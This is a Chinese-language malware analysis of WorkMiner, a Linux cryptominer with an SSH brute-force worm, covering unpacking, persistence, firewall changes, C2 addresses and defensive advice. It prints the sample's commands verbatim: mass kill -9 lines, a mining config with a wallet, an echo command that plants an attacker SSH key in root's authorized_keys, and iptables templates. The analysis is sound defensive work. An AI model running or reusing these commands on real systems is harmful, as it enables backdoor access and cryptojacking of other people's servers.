WorkMiner

WorkMiner样本分析

样本信息

使用DIE查看样本情况:

脱壳

使用upx3.93脱壳失败,提示:

upx: work64: CantUnpackException: p_info corrupted

使用文本标记其查看二进制文件,发现p_info被修改了:

从末尾找到文件大小:

修复p_info即可成功脱壳:

去除混淆

脱壳后,使用IDA加载,查找字符串,发现是golang程序:

使用IDAGolangHelper解除混淆可正常分析。

功能分析

main_killminer

执行命令终止其他挖矿进程

命令列表如下:

ps -ef | grep ddg | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep xmr | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep tcp: | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep x86_ | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep miner | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep pool. | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep monero | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep prohash | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep stratum | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep .daemond | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep Circle_MI | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep kworker34 | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep cryptonight | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep /tmp/thisxxs | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep /usr/bin/.sshd | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep /opt/yilu/mservice | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep /opt/yilu/work/xig/xig | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep /usr/bin/bsd-port/getty | grep -v grep | awk '{print $2}' | xargs kill -9

文件释放

检查是否存在环境变量TMPDIR,切换到/tmp目录下执行killall xmr命令,将系统命令:wget改为wget1curl改为curl1

生成配置文件:/tmp/config.json

配置文件内容如下(其中包含了挖矿钱包):

{
	"api": {
		"id": null,
		"worker-id": null
	},
	"http": {
		"enabled": false,
		"host": "127001",
		"port": 0,
		"access-token": null,
		"restricted": true
	},
	"autosave": true,
	"background": true,
	"colors": true,
	"title": true,
	"randomx": {
		"init": -1,
		"mode": "auto",
		"1gb-pages": false,
		"rdmsr": true,
		"wrmsr": false,
		"numa": true
	},
	"cpu": {
		"enabled": true,
		"huge-pages": true,
		"hw-aes": null,
		"priority": null,
		"memory-pool": false,
		"yield": true,
		"argon2-impl": null,
		"astrobwt-max-size": 550,
		"astrobwt-avx2": false,
		"argon2": [0],
		"astrobwt": [-1],
		"cn": [
			[1, 0]
		],
		"rx": [0],
		"rx/wow": [0],
		"cn/0": false,
		"rx/arq": "rx/wow",
		"rx/keva": "rx/wow"
	},
	"donate-level": 0,
	"donate-over-proxy": 1,
	"log-file": null,
	"pools": [{
		"algo": null,
		"coin": null,
		"url": "xmrcrypto-poolfr:6666",
		"user": "47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV",
		"pass": "x",
		"rig-id": null,
		"nicehash": false,
		"keepalive": false,
		"enabled": true,
		"tls": false,
		"tls-fingerprint": null,
		"daemon": false,
		"socks5": null,
		"self-select": null
	}],
	"print-time": 60,
	"retries": 5,
	"retry-pause": 5,
	"syslog": false,
	"user-agent": null,
	"verbose": 0,
	"watch": true
}

elf格式的二进制文件写入到/tmp/xmr中:

添加可执行权限:

生成/tmp/secure.sh脚本并添加可执行权限:

脚本内容如下:

#!/bin/bash

LIMIT=8
while true ; do
    TIME=$(date '+%b %e %H')     #example: Apr 11 11
    BLOCK_IP=$(grep "$TIME" /var/log/secure|grep Failed|awk '{print $(NF-3)}'|sort|uniq -c|awk '$1>"$LIMIT"{print $1":"$2}')
    for i in $BLOCK_IP
    do
        IP=$(echo $i|awk -F: '{print $2}')
        grep $IP /etc/hosts.deny > /dev/null
        if [ $? -gt 0 ];
        then
            echo "sshd:$IP" >> /etc/hosts.deny
        fi
    done
    sleep 60
done

生成/tmp/auth.sh脚本并添加可执行权限:

脚本内容如下:

#!/bin/bash

LIMIT=8
while true ; do
    TIME=$(date '+%b %e %H')     #example: Apr 11 11
    BLOCK_IP=$(grep "$TIME" /var/log/auth.log|grep Failed|awk '{print $(NF-3)}'|sort|uniq -c|awk '$1>"$LIMIT"{print $1":"$2}')
    for i in $BLOCK_IP
    do
        IP=$(echo $i|awk -F: '{print $2}')
        grep $IP /etc/hosts.deny > /dev/null
        if [ $? -gt 0 ];
        then
            echo "sshd:$IP" >> /etc/hosts.deny
        fi
    done
    sleep 60
done

检查是否存在/usr/.work,不存在则创建:

将当前路径(/tmp)下的文件拷贝到/usr/.work中去

main_add_crontab_job

检查是否存在/root/.ssh,不存在则创建,然后设置权限为700

生成/root/.ssh/authorized_keys,设置权限为600,并使用echo写入内容:

写入公钥命令为:

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc3BlbiQaznPT8TScrs9YIzmrpI9Lpa4LtCjB5z0LuQ4o6XwvzomxAixn2F1jaUl175Cxcg3PmUsPOLE+WeWicKqL2YZ46SotjZgnS6JjXpuZVi7V0DSiXu0itlwWDC9m8huBvUBSIsDCsgb9OeG6rlrCyZgTW+qZciK+KZ8rwlFp3CFyxoF2122ueOnl5pAUCy1iHqGun03dMdUxA1d3KnxSZ3NQrYiH69dc8/YhV4SriOW9psc0pv9KeBLF0OXHtEAdbnSlwfk2uTjjBMK0nDidl7wS52Ygi/H4+P+4EXkSzf4Jj4/L6P3c5rLC3/l3RFdo1T7EQ8fH6NsTYJNZ7 root@u911" >> /root/.ssh/authorized_keys

检测是否存在以下文件:

/etc/rc.d/rc.local
/etc/rc.local
/etc/rc.conf
/etc/crontab

检测是否存在以下文件:

/var/spool/cron/root
/var/spool/cron/crontabs

附加文件:

/var/spool/cron/root
/var/spool/cron/crontabs/root

修改防火墙规则

执行命令,修改防火墙规则:

修改命令如下:

iptables -I INPUT  -p tcp --dport
iptables -I OUTPUT -p tcp --sport
iptables -I POSTROUTING -t nat -p tcp --sport
iptables -I PREROUTING  -t nat -p tcp --dport
iptables -I INPUT  -p udp --dport %d -j ACCEPT
iptables -I OUTPUT -p udp --sport %d -j ACCEPT
iptables -I PREROUTING  -t nat -p udp --dport %d -j ACCEPT
iptables -I POSTROUTING -t nat -p udp --sport %d -j ACCEPT

ssh蠕虫攻击

在修改完防火墙规则后,执行__home_haha_work_go_sshworm_work_Crackssh函数,对ssh服务进行Crack

进入函数中首先检查当前目录(/tmp)下是否存在./user.list

如果存在且不为空,则加载内容至内存中;如果为空,则将root加载到内存中,当作userlist使用:

然后检查当前目录(/tmp)下是否存在./pass.list

如果存在且不为空,则加载内容至内存中;如果为空,则将123456加载到内存中,当作passlist使用:

接着新建一个goroutine池,用于多线程爆破:

然后收集用于爆破的IP地址(包括内网、公网、已知主机的IP):

如果收集到IP地址,则检查本地(/.ssh/id_rsa)是否存在公钥,如果存在公钥则在goroutine池中进行公钥登录尝试:

如果不存在公钥,则在goroutine池中进行默认登录尝试:

如果未收集用于爆破的IP地址,则会获取lanip,并删除重复值:

如果获取失败,则随机生成IP并判断是否是lanip,最后都将统一在goroutine池中进行默认登录尝试:

在使用公钥登录(__home_haha_work_go_sshworm_work_Pkeylogin)或默认登录(__home_haha_work_go_sshworm_work_LoginSsh)成功后,都将调用__home_haha_work_go_sshworm_work_scp_proc函数,该函数会首先创建/usr/.work

接着创建/tmp/.work

添加权限并执行work32

等待2s后继续,添加权限并执行work64

整个蠕虫攻击形成闭环。

main__Cfunc_GetConf

在执行完ssh蠕虫攻击后,最后调用main__Cfunc_GetConf

层层深入后发现恶意外链:

查看off_D8D080地址处的字符串:

上方存在循环,也就是说[rbp+var_B0]依次递增,通过循环可依次去除链接进行访问,查看循环出发点:

上一个函数应该就是外联函数(sub_7341E0):

进入其中,向下寻找,逐步定位函数sub_73BAD0socket请求主函数:

进入其中可以看到明显的socketbind函数:

外联过程分析结束,链接分析如下:

P2P节点如下:
router.bittorrent.com:6881
bttracker.debian.org:6881
router.utorrent.com:6881
dht.transmissionbt.com:6881

恶意CC如下:
212.129.33.59:6881
82.221.103.244:6881
130.239.18.159:6881
87.98.162.88:6881

总结

主机感染木马后执行流程大致如下:

  1. 杀掉本地已有的挖矿进程;
  2. 切换至/tmp路径,杀死xmr进程;
  3. 将系统命令wget改为wget1curl改为curl1
  4. 生成挖矿程序的配置文件config.json
  5. 将挖矿程序写入到xmr中并执行;
  6. 生成secure.shauth.sh脚本并执行;
  7. /tmp下的文件拷贝到/usr/.work中去;
  8. /root/.ssh/authorized_keys中写入公钥,方便攻击者连接;
  9. 检测计划任务文件并添加计划任务;
  10. 修改防火墙规则,方便出站;
  11. 使用ssh蠕虫攻击其它主机;
  12. 访问外部链接;

建议

建议将上述的恶意CC及矿池地址(xmr.crypto-pool.fr,IP:163.172.226.137)添加至防火墙出站规则;

建议修改SSH服务端口,设置SSH服务基线,禁用Root用户登录、杜绝弱口令及设置错误限制次数;